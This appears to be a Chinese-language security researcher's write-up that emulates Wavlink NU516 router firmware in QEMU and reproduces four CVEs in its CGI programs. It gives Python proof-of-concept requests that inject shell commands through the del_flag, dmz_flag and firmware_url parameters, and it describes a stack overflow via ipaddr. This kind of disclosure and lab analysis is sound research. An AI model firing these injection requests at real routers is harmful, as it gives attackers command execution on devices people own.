环境

[[CVE]]
[固件下载](Firmware - WAVLINK ROUTER Docs)
WAVLINK-NU516-V251208
WAVLINK-NU516-V240425
Ubuntu25.10
IDA9.1
binwalk
qemu
firmwalker

固件仿真

binwalk解包

1
binwalk -Me WAVLINK.bin 

image.png

1
readelf -h lighttpd

image.png
mips小端序

固件模拟

下载以下内容

1
2
debian_squeeze_mipsel_standard.qcow2
vmlinux-3.2.0-4-4kc-malta

宿主机配置虚拟网卡

1
2
3
sudo ip tuntap add mode tap name tap0
sudo ip addr add 192.168.10.1/24 dev tap0
sudo ip link set tap0 up

启动模拟

1
2
3
4
5
6
7
8
qemu-system-mipsel \
-M malta \
-cpu 74Kf \
-kernel /home/ming/下载/iot/WAVLINK25/vmlinux-3.2.0-4-4kc-malta \
-hda /home/ming/下载/iot/WAVLINK25/debian_wheezy_mipsel_standard.qcow2 \
-append "root=/dev/sda1 console=ttyS0" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic

在模拟后的虚拟机配置网卡

1
ifconfig eth0 192.168.10.200 netmask 255.255.255.0

squashfs-root 打包并传输到虚拟机

1
2
3
4
5
6
tar -zcvf squashfs-root.gz squashfs-root
scp -O \
-o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
squashfs-root.gz root@192.168.10.2:/
tar -zxvf squashfs-root.gz

挂载系统环境配置

1
2
3
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount --bind /dev/ dev/

启动模拟

1
2
chroot . /bin/sh
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

报错

1
2
/ # /usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf
2026-04-05 13:42:40: (server.c.925) opening pid-file failed: /var/run/lighttpd.pid No such file or directory

/var/run/目录不存在或者 lighttpd 没有权限创建 pid 文件
IoT设备通常使用Flash作为存储介质,原本/var -> /tmp指向目录下的/tmp但是在binwalk解包的时候,是直接解压,并没有还原连接,直接删掉原本的var和tmp重新创建即可

1
2
3
4
5
6
7
8
rm -rf /var
rm -rf /tmp
mkdir -p /var/run
mkdir -p /var/log/lighttpd
mkdir -p /tmp/run
mkdir -p /tmp/log/lighttpd
#再次启动
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

image.png
模拟成功
这边为了使用bp,使用了NATBypass工具转发端口到win主机

漏洞复现

CVE-2026-2615

漏洞描述
Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 /cgi-bin/firewall.cgi 组件存在命令注入漏洞。该漏洞位于处理 端口转发删除(singlePortForwardDelete)功能的 sub_4016D0 函数中。厂商在处理 del_flag 参数时,调用了过滤函数 sub_405B2C 对用户输入进行检查。尽管该函数试图通过黑名单机制防止命令注入,但其实现不严谨,遗漏了关键的命令分隔符分号(;)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 del_flag 参数,绕过输入验证,利用 sprintf 函数将任意 Shell 命令拼接到系统调用中执行。
image.png
sub_4016D0 漏洞函数点
image.png
sub_405B2C过滤函数,未将;进行过滤可以进行绕过注入命令执行
image.png
后续进入else,sprintf字符串拼接,随后带入到 sub_403734中,sub_403734有system执行
image.png
sub_4016D0进行交叉引用,找到如何进入此危险函数
image.png
image.png
从请求中获取 firewall的参数,然后通过 if 判断使用 strcmp 去匹配对应的字符
poc,当匹配到 singlePortForwardDelete 时,进入到 sub_4016D0漏洞函数中
image.png
再从中获取到 del_flag的值,进行后续的过滤、拼接操作

poc

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://192.168.10.2/cgi-bin/firewall.cgi"
cookies = {"session": "1506085659"}
data = "firewall=singlePortForwardDelete&del_flag=1;touch+/tmp/ming2;"

r = requests.post(url, data=data, cookies=cookies,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=5)
print(r.status_code, r.text[:200])

cookies的值需要获取
image.png

CVE-2026-3704

漏洞描述
Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 /cgi-bin/firewall.cgi 组件存在命令注入漏洞。该漏洞位于处理 DMZ 设置的 sub_4017F0 函数中。尽管厂商引入了过滤函数 sub_405B2C 试图修复旧版本(M16U1_V240425)的漏洞,但该黑名单过滤机制不严谨,遗漏了关键的命令分隔符分号(;)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 dmz_flag 参数,绕过输入验证,利用 sprintf 函数将任意 Shell 命令拼接到系统调用中执行。

image.png
危险函数 sub_403734 里面有 system 执行
image.png
且adc将v9进行了拼接操作
image.png
v9 是由 v6获取到的 dmz_flag 复制过来的
控制v6也就是控制输入的 dmz_flag值即可造成命令注入
image.png
调用到此漏洞函数的方法和上面一致

poc

1
2
3
4
5
6
7
8
9
10
import requests

url = "http://192.168.10.2/cgi-bin/firewall.cgi"
cookies = {"session": "1130347533"}
data = "firewall=DMZ&dmz_flag=1;touch+/tmp/ming4;"

r = requests.post(url, data=data, cookies=cookies,
headers={"Content-Type": "application/x-www-form-urlencoded"},
timeout=5)
print(r.status_code, r.text[:200])

cookies的值需要获取

CVE-2026-3612

漏洞描述
Wavlink NU516U1 路由器固件(版本 V240425)中的 /cgi-bin/adm.cgi 组件存在严重的命令注入漏洞。该漏洞位于处理 OTA 在线升级(ota_new_upgrade) 功能的 sub_405AF4 函数中。厂商在处理 firmware_url 参数时,直接将其拼接到系统命令中。尽管开发者试图使用双引号包裹参数以防止参数逃逸,但该防御方式无法阻止 Shell 命令替换。经过身份验证的远程攻击者可以通过构造包含 $() 或反引号的恶意 firmware_url 参数,绕过限制执行任意系统命令。
image.png
分别获取 POST 请求中的 brandmodelversionmd5firmware_url,且都可以被我们控制输入,后续对v13进行字符串拼接 最后执行system
image.png
调用到此漏洞函数的逻辑与上面类似
image.png
获取请求数据 page 的值,然后通过 if 判断使用 strcmp 去匹配对应的字符

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests

url = "http://192.168.10.2/cgi-bin/adm.cgi"
cookies = {"session": "1033453068"}
headers = {
"Host": "usblogin.link",
"Content-Type": "application/x-www-form-urlencoded",
"Referer": "http://usblogin.link/html/firewall.shtml",
"Origin": "http://usblogin.link",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko)Chrome/120.0.6099.71 Safari/537.36",
}
body = "page=ota_new_upgrade&brand=wavlink&model=123&version=1.0&md5=123456&firmware_url=$(touch /tmp/ming6)"

r = requests.post(url, data=body, headers=headers, cookies=cookies, timeout=5)
print(r.status_code, r.text[:200])

CVE-2026-3613

漏洞描述
在 Wavlink NU516U1 V240425 版本的固件中,/cgi-bin/login.cgi 组件的 sub_401A0C 函数存在栈缓冲区溢出漏洞。该函数主要用于处理 sys_login1 页面请求。函数内部在栈上定义了一个固定大小为 128 字节的缓冲区 v15。在验证密码 MD5 通过后,程序使用 sprintf 函数构造一条系统命令,将用户输入的 ipaddr 参数直接拼接到该缓冲区中。由于 sprintf 没有限制写入数据的长度,且程序未对 ipaddr 的长度进行校验,攻击者可以发送一个超长的字符串(超过约 105 字节)。当超长的 ipaddr 数据被写入 v15 时,会发生越界写入,覆盖栈上相邻的局部变量、保存的寄存器以及函数的返回地址,导致 CGI 进程崩溃。

image.png
 读取配置里的管理员密码
 获取请求数据中的 ipaddrpassword
 image.png
在后续中字符串拼接给 v15image.png
v15 可以溢出
image.png
image.png